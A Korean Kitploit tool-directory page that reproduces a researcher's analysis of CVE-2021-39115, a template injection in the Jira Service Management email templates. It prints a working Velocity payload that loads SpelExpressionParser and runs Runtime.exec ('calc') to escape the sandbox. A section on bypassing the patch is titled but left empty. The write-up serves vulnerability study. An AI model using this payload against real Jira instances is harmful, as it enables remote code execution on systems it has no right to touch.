Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-39115 — Jira Service Management Server의 이메일 템플릿에서 템플릿 인젝션으로 인한 코드 실행 취약점 | Kitploit
도구/GitHubGitHub/petrusviet/cve-2021-39115
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubpetrusviet/cve-2021-39115

CVE-2021-39115

Jira Service Management Server의 이메일 템플릿에서 템플릿 인젝션으로 인한 코드 실행 취약점

저장소 보기
481215년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-39115

이메일 템플릿에서의 템플릿 인젝션으로 인한 Jira Service Management Server 코드 실행

I) 구축

저는 여기에 배포 및 디버그 방법을 안내해 놓았습니다. 참고하시면 됩니다.

II) 분석

이 CVE의 Description에도 명확히 나와 있듯이, 버그는 Email Template 기능에 있습니다. Admin 권한이 있는 사용자는 알림 이메일의 템플릿을 자유롭게 편집할 수 있습니다. 이 버그는 admin 권한이 필요하므로 RCE가 가능하더라도 그다지 심각하지는 않지만, 저는 재미를 위해 블로그를 쓰기로 결정했습니다 :) SSTI에 대해 공부하는 분들은 참고하시면 됩니다.

  • 본격적으로 시작하기 위해 atlassian-jira-servicedesk-4.17.0-m0006-standalone 버전을 배포하고 4.18.0 버전과 무엇이 다른지 diff를 확인해 보았습니다: image

이 많은 파일들을 보면,... 당연히 일일이 읽지 않습니다. 저는 매우 게으릅니다. 농담이고, 사실 보안 수정 사항 외에도 각 버전에는 기능의 업그레이드와 변경이 있습니다. 모든 것을 diff해서 읽는 것은 매우 시간이 많이 걸립니다. 물론 어떤 경우에는 어쩔 수 없이 모두 diff해서 읽어야 하지만, 이 경우에는 그렇게 하지 않았습니다 =)))

  • 위에서 언급했듯이, admin은 모든 알림 이메일의 템플릿을 변경할 수 있습니다. 따라서 첫 번째 단계는 알림 이메일을 파싱하는 과정에서 어떤 컨텍스트가 있는지 알아내는 것입니다. 이는 SSTI 버그(샌드박스 사용)를 익스플로잇할 때 특히 중요합니다. 가장 효과적인 방법은 이메일 템플릿을 파싱하는 부분을 디버깅하여 컨텍스트 변수의 값을 확인하는 것입니다.
  • 물론 여러 가지 알림 유형(SignUp, 비밀번호 변경 등)이 있으며, 각 유형은 다른 엔드포인트를 사용합니다. 저는 기능을 사용하여 알림 이메일을 생성했습니다. 이 엔드포인트의 스택 호출에 대해서는 의 스택 호출과 유사하므로 자세히 설명하지 않겠습니다.
SendBulkMail
CVE-2019-11581

SimpleNote.render 함수에서 컨텍스트 변수를 확인하여 활용할 수 있는 것이 무엇인지 확인할 수 있습니다:

제 개인적인 경험상, Utils, Manager, service 등의 키워드가 포함된 컨텍스트/클래스를 주로 확인합니다. $jirautils 컨텍스트(com.atlassian.jira.util.JiraUtils 클래스)에 public static <T> T loadComponent(String className, Class<?> callingClass) 메서드가 포함되어 있음을 발견했습니다:

문서를 찾아보며 이 메서드의 기능과 사용법을 알아보았습니다. 입력으로 String className이 들어가고 출력이 클래스이므로, 이 메서드가 클래스를 임의로 로드할 가능성이 있습니다:

  • 문서에 설명된 대로, 이 함수는 클래스를 로드하는 데 사용됩니다 :) 이 메서드가 실제로 클래스를 임의로 로드할 수 있는지 즉시 확인해 보았습니다:

System -> Email templates로 이동하여 현재 템플릿 파일을 다운로드합니다.

서로 다른 알림 유형에 사용되는 여러 템플릿이 있으므로, 여러 유형에 공통으로 사용할 수 있는 파일을 찾았습니다. 예를 들어 email\html\includes\header.vm

편집된 템플릿 파일을 업로드한 후 SendBulkMail을 사용하여 알림 이메일을 보냈습니다. 이메일에서 다음과 같은 출력을 받았습니다:

대략적으로 이 클래스에는 생성자가 없거나 허용되지 않는다는 의미입니다. 생성자(입력이 없는 생성자)가 있는 다른 클래스를 시도해 보았습니다:

결과는 예상대로였습니다. 클래스를 성공적으로 얻었습니다:

  • 이제 우리는 거의 임의로 클래스를 로드할 수 있게 되었습니다. 꽤 괜찮습니다. 그런데 어떻게 RCE를 할 수 있을까요? Jira는 velocity 템플릿을 사용하며, 블랙리스트 패키지와 블랙리스트 클래스(블랙리스트의 클래스로부터 확장된 모든 클래스를 차단할 수 있음)를 포함한 상당히 완벽한 샌드박스를 가지고 있습니다. 인터넷에 공개된 클래스를 사용하는 것은 거의 불가능합니다. 이 시점에서 버그 버전과 패치 버전 간의 차이점을 diff하여 어떻게 다른지 반드시 확인해야 했습니다. 물론 전체를 diff하지는 않고 velocity의 conf 파일 (\atlassian-jira\WEB-INF\classes\velocity.properties) 만 diff하여 새로운 업데이트가 있는지 확인했습니다:

블랙리스트에 추가된 3개의 클래스가 있습니다:

root@kitploit:~
org.springframework.expression.spel.standard.SpelExpressionParser,\
com.atlassian.jira.component.ComponentAccessor,\
com.atlassian.jira.plugin.ComponentClassManager

각 클래스를 확인해 보았을 때, SpelExpressionParser 클래스에 public SpelExpression parseRaw(String expressionString) 메서드가 있음을 발견했습니다. 잠시 구글링하여 사용 방법을 찾아보니 대략 다음과 같이 사용할 수 있었습니다:

root@kitploit:~
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')")

보시다시피, parseRaw 함수는 org.springframework.expression.spel.standard.SpelExpression 클래스의 객체를 반환할 뿐, 아직 표현식을 실제로 렌더링하지는 않습니다. SpelExpression 클래스로 들어가 getValue 메서드를 확인했습니다:

root@kitploit:~
@Nullable
    public Object getValue() throws EvaluationException {
        CompiledExpression compiledAst = this.compiledAst;
        if (compiledAst != null) {
            try {
                EvaluationContext context = this.getEvaluationContext();
                return compiledAst.getValue(context.getRootObject().getValue(), context);
            } catch (Throwable var4) {
                if (this.configuration.getCompilerMode() != SpelCompilerMode.MIXED) {
                    throw new SpelEvaluationException(var4, SpelMessage.EXCEPTION_RUNNING_COMPILED_EXPRESSION, new Object[0]);
                }
            }

            this.compiledAst = null;
            this.interpretedCount.set(0);
        }

        ExpressionState expressionState = new ExpressionState(this.getEvaluationContext(), this.configuration);
        Object result = this.ast.getValue(expressionState);
        this.checkCompile(expressionState);
        return result;
    }

입력/출력을 보고, 저는 더 이상 문서를 보지 않고 바로 시도하기로 결정했습니다:

root@kitploit:~
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()

결과:

III) 결론

이로써 velocity의 샌드박스를 우회하여 RCE를 할 수 있게 되었습니다. 하지만 이 버그를 발견한 작성자의 입장에서 생각해 보면, 제가 설명할 수 없는 몇 가지 질문이 있습니다:

  • 왜 3개의 클래스가 블랙리스트에 추가되었을까요?

이 3개의 클래스를 조사해 보니, 이들은 하나의 체인을 형성할 수 있습니다:

root@kitploit:~
ComponentAccessor.getComponentClassManager() 
  => ComponentClassManager.newInstance(String className) (이 클래스는 임의의 클래스를 로드할 수 있음)
        => SpelExpressionParser

만약 작성자가 저와 같은 $jirautils를 사용했다면 다른 두 클래스는 필요하지 않을 것입니다. 그러나 작성자가 $jirautils를 사용하지 않았다면 어떻게 ComponentAccessor를 얻을 수 있었을까요???

  • 작성자는 어떻게 위의 3개 클래스를 찾을 수 있었을까요? 이것은 제가 가장 궁금하고 알고 싶은 질문이지만, 아마 작성자에게 직접 연락하는 방법 외에는 알 수 없을 것입니다. 안타깝게도 이 버그의 작성자가 누구인지 모릅니다.

IV) 패치 우회 계속

도구 다운로드